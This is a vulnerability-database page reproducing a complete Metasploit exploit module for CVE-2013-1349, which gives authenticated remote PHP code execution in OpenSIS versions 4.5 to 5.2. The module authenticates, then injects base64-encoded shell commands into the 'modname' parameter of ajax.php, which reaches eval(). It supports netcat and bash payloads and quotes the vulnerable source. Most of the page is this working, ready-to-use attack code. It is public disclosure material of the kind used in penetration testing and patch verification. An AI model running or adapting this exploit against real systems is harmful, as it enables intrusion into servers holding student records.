Lucene search
K

OpenSIS 'modname' PHP Code Execution

🗓️ 23 Dec 2013 00:00:00Reported by EgiXType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

OpenSIS 'modname' PHP Code Execution vulnerability allows authenticated user to execute arbitrary PHP code.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
openSIS 5.2 PHP Code Injection Vulnerability
8 Dec 201300:00
zdt
0day.today
OpenSIS 'modname' PHP Code Execution Vulnerability
24 Dec 201300:00
zdt
Circl
CVE-2013-1349
24 Dec 201300:00
circl
Check Point Advisories
OpenSIS ajax.php modname Code Execution (CVE-2013-1349)
5 Oct 201400:00
checkpoint_advisories
CVE
CVE-2013-1349
9 Dec 201311:00
cve
Cvelist
CVE-2013-1349
9 Dec 201311:00
cvelist
NVD
CVE-2013-1349
9 Dec 201316:36
nvd
Packet Storm
openSIS 5.2 PHP Code Injection
7 Dec 201300:00
packetstorm
Prion
Sql injection
9 Dec 201316:36
prion
securityvulns
[KIS-2013-10] openSIS <= 5.2 (ajax.php) PHP Code Injection Vulnerability
9 Dec 201300:00
securityvulns
Rows per page
`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "OpenSIS 'modname' PHP Code Execution",  
'Description' => %q{  
This module exploits a PHP code execution vulnerability in OpenSIS  
versions 4.5 to 5.2 which allows any authenticated user to execute  
arbitrary PHP code under the context of the web-server user.  
The 'ajax.php' file calls 'eval()' with user controlled data from  
the 'modname' parameter.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'EgiX', # Discovery  
'Brendan Coles <bcoles[at]gmail.com>' # msf exploit  
],  
'References' =>  
[  
['CVE', '2013-1349'],  
['OSVDB', '100676'],  
['URL', 'http://karmainsecurity.com/KIS-2013-10'],  
['URL', 'http://sourceforge.net/p/opensis-ce/bugs/59/']  
],  
'Payload' =>  
{  
'BadChars' => "\x00\x0a\x0d",  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic telnet bash netcat netcat-e perl ruby python',  
}  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => 'none'  
},  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' =>  
[  
# Tested on OpenSIS versions 4.9 and 5.2 (Ubuntu Linux)  
['OpenSIS version 4.5 to 5.2', { 'auto' => true }]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Dec 04 2012',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The URI for OpenSIS', '/opensis/']),  
OptString.new('USERNAME', [true, 'The username for OpenSIS']),  
OptString.new('PASSWORD', [true, 'The password for OpenSIS'])  
], self.class)  
end  
  
#  
# Login  
#  
def login(user, pass)  
@cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10)+10)};"  
print_status("#{peer} - Authenticating as user '#{user}'")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, "index.php"),  
'cookie' => @cookie,  
'vars_post' => Hash[{  
'USERNAME' => user,  
'PASSWORD' => pass,  
}.to_a.shuffle]  
})  
if res and res.code == 200 and res.body =~ /Portal\.php/  
print_good("#{peer} - Authenticated as user '#{user}'")  
return true  
else  
print_error("#{peer} - Authenticating as user '#{user}' failed")  
return false  
end  
end  
  
#  
# Send command for execution  
#  
def execute_command(cmd, opts = { :php_function => 'system' } )  
code = Rex::Text.uri_encode(Rex::Text.encode_base64(cmd+"&"))  
junk = rand_text_alphanumeric(rand(10)+6)  
print_status("#{peer} - Sending payload (#{code.length} bytes)")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'ajax.php'),  
'cookie' => @cookie,  
'vars_post' => {  
'modname' => "#{junk}?#{junk}=#{junk}';#{opts[:php_function]}(base64_decode('#{code}'));//"  
}  
})  
return res  
end  
  
#  
# Check credentials are valid and confirm command execution  
#  
def check  
return Exploit::CheckCode::Unknown unless login(datastore['USERNAME'], datastore['PASSWORD'])  
fingerprint = Rex::Text.rand_text_alphanumeric(rand(10)+10)  
print_status("#{peer} - Sending check")  
res = execute_command("echo #{fingerprint}")  
if res and res.body =~ /align=center>#{fingerprint}/  
return Exploit::CheckCode::Vulnerable  
elsif res  
return Exploit::CheckCode::Safe  
end  
return Exploit::CheckCode::Unknown  
end  
  
def exploit  
return unless login(datastore['USERNAME'], datastore['PASSWORD'])  
php_function = [  
'exec',  
'shell_exec',  
'passthru',  
'system'  
].sample  
res = execute_command(payload.encoded, { :php_function => php_function })  
if res and res.code == 200 and res.body =~ /hacking_log/i  
print_good("#{peer} - Payload sent successfully")  
else  
fail_with(Failure::UnexpectedReply, "#{peer} - Sending payload failed")  
end  
end  
end  
  
#  
# Source  
#  
=begin ajax.php  
90: if(strpos($_REQUEST['modname'],'?')!==false)  
91: {  
92: $vars = substr($_REQUEST['modname'],(strpos($_REQUEST['modname'],'?')+1));  
93: $modname = substr($_REQUEST['modname'],0,strpos($_REQUEST['modname'],'?'));  
94:  
95: $vars = explode('?',$vars);  
96: foreach($vars as $code)  
97: {  
98: $code = decode_unicode_url("\$_REQUEST['".str_replace('=',"']='",$code)."';");  
99: eval($code);  
100: }  
101: }  
=end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Dec 2013 00:00Current
0.2Low risk
Vulners AI Score0.2
EPSS0.70857
18